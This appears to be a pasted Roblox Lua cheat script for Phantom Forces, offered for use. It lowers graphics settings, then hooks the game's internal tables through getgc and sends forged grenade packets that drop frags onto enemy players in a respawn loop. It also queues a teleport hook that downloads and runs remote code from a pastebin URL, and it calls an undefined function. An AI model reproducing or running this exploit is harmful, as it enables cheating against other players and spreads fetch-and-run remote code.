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phantom forces frag tp, remove texture

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Feb 10th, 2022
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  1. local decalsyeeted = true -- Leaving this on makes games look shitty but the fps goes up by at least 20.
  2. local g = game
  3. local w = g.Workspace
  4. local l = g.Lighting
  5. local t = w.Terrain
  6. t.WaterWaveSize = 0
  7. t.WaterWaveSpeed = 0
  8. t.WaterReflectance = 0
  9. t.WaterTransparency = 0
  10. l.GlobalShadows = false
  11. l.FogEnd = 9e9
  12. l.Brightness = 0
  13. settings().Rendering.QualityLevel = "Level01"
  14. for i, v in pairs(g:GetDescendants()) do
  15. if v:IsA("Part") or v:IsA("Union") or v:IsA("CornerWedgePart") or v:IsA("TrussPart") then
  16. v.Material = "Plastic"
  17. v.Reflectance = 0
  18. elseif v:IsA("Decal") or v:IsA("Texture") and decalsyeeted then
  19. v.Transparency = 1
  20. elseif v:IsA("ParticleEmitter") or v:IsA("Trail") then
  21. v.Lifetime = NumberRange.new(0)
  22. elseif v:IsA("Explosion") then
  23. v.BlastPressure = 1
  24. v.BlastRadius = 1
  25. elseif v:IsA("Fire") or v:IsA("SpotLight") or v:IsA("Smoke") then
  26. v.Enabled = false
  27. elseif v:IsA("MeshPart") then
  28. v.Material = "Plastic"
  29. v.Reflectance = 0
  30. v.TextureID = 10385902758728957
  31. end
  32. end
  33. for i, e in pairs(l:GetChildren()) do
  34. if e:IsA("BlurEffect") or e:IsA("SunRaysEffect") or e:IsA("ColorCorrectionEffect") or e:IsA("BloomEffect") or e:IsA("DepthOfFieldEffect") then
  35. e.Enabled = false
  36. end
  37. end
  38.  
  39. local camera = workspace.CurrentCamera;
  40. local players = game:GetService("Players");
  41. local localPlayer = players.LocalPlayer;
  42. local charTbl;
  43. local replicationTbl;
  44. local pfCam;
  45. local gameLogic;
  46. local network;
  47. local hud;
  48. local char;
  49. local menu;
  50. local queueonteleport = (syn and syn.queue_on_teleport) or queue_on_teleport or function() end
  51. local ts,x = game:GetService("TeleportService")
  52. respawns_before_serverhop = respawns_before_serverhop or 0
  53. local tp = respawns_before_serverhop
  54. if tp == 0 then tp = math.huge end
  55. queueonteleport("if not game:IsLoaded() then wait(3) end respawns_before_serverhop = "..tostring(respawns_before_serverhop).."\nloadstring(game:HttpGet('https://pastebin.com/raw/PyWPzvyL'))()")
  56.  
  57. game:GetService("Stats").Network.ChildRemoved:Connect(function(disconnected) if disconnected.Name=="ServerStatsItem" then ondisconnect() end end)
  58. task.spawn(function() for i = 1,10 do if not game:GetService("Stats").Network:FindFirstChild("ServerStatsItem") then ondisconnect() return end wait(1) end end)
  59. local things = 0
  60. repeat
  61. things = 0
  62. for i,v in pairs(getgc(true)) do
  63. if type(v) == "table" then
  64. if rawget(v, "getbodyparts") then
  65. replicationTbl = v;
  66. charTbl = debug.getupvalue(v.getbodyparts, 1);
  67. things +=2
  68. end
  69. if rawget(v, "basecframe") then
  70. pfCam = v;
  71. things +=1
  72. end
  73. if rawget(v, "gammo") then
  74. gameLogic = v;
  75. things +=1
  76. end
  77. if rawget(v, "send") then
  78. network = v;
  79. things +=1
  80. end
  81. if rawget(v, "updateammo") then
  82. hud = v;
  83. things +=1
  84. end
  85. if rawget(v, "jump") then
  86. char = v;
  87. things +=1
  88. end
  89. if rawget(v, "isdeployed") then
  90. menu = v;
  91. things +=1
  92. end
  93. end
  94. end
  95. wait(1)
  96. until things == 8
  97. local function shootNade(targetPos)
  98. if gameLogic.gammo <= 0 then
  99. return;
  100. end
  101. local camCf = camera.CFrame;
  102. local rot = (camCf - camCf.Position);
  103. local args = {
  104. time = tick(),
  105. blowuptime = 0,
  106. frames = {
  107. {
  108. t0 = 0,
  109. p0 = camCf.Position,
  110. v0 = camCf.LookVector,
  111. offset = Vector3.new(),
  112. a = Vector3.new(0, -80,0),
  113. rot0 = rot,
  114. rotv = rot * Vector3.new(19, -5, 0),
  115. glassbreaks = {}
  116. },
  117. {
  118. t0 = 0,
  119. p0 = targetPos,
  120. v0 = Vector3.new(),
  121. offset = Vector3.new(),
  122. a = Vector3.new(),
  123. rot0 = CFrame.new(),
  124. rotv = Vector3.new(),
  125. glassbreaks = {}
  126. }
  127. }
  128. };
  129. network:send("newgrenade", "FRAG", args);
  130. gameLogic.gammo = gameLogic.gammo - 1;
  131. hud:updateammo("GRENADE");
  132. end
  133.  
  134. local function getCharacterInCircle(center, radius)
  135. local results = {};
  136. for player, character in pairs(charTbl) do
  137. if player.Team ~= localPlayer.Team then
  138. if character.torso and (character.torso.Position - center).Magnitude <= radius then
  139. results[#results + 1] = character;
  140. end
  141. end
  142. end
  143. return results;
  144. end
  145.  
  146.  
  147. while tp>0 do
  148. tp-=1
  149. do
  150. if not (char.rootpart and menu:isdeployed()) then
  151. repeat
  152. menu:deploy();
  153. task.wait();
  154. until char.rootpart and menu:isdeployed();
  155. end
  156. task.wait(1);
  157. local targets = {};
  158. for player, character in pairs(charTbl) do
  159. if player.Team ~= localPlayer.Team then
  160. if character.torso and character.head then
  161. local charsInCircle = getCharacterInCircle(character.torso.Position, 30);
  162. targets[#targets + 1] = charsInCircle;
  163. end
  164. end
  165. end
  166. table.sort(targets, function(a, b)
  167. return #a > #b;
  168. end);
  169. for i = 1, 3 do
  170. local t = targets[i];
  171. if t then
  172. for j = 1, #t do
  173. local theirChar = t[j];
  174. if theirChar and theirChar.torso then
  175. shootNade(theirChar.torso.Position);
  176. task.wait(0.1);
  177. end
  178. end
  179. end
  180. end
  181. end
  182. network:send("forcereset");
  183. repeat task.wait() until not menu:isdeployed()
  184. end
  185. ondisconnect()
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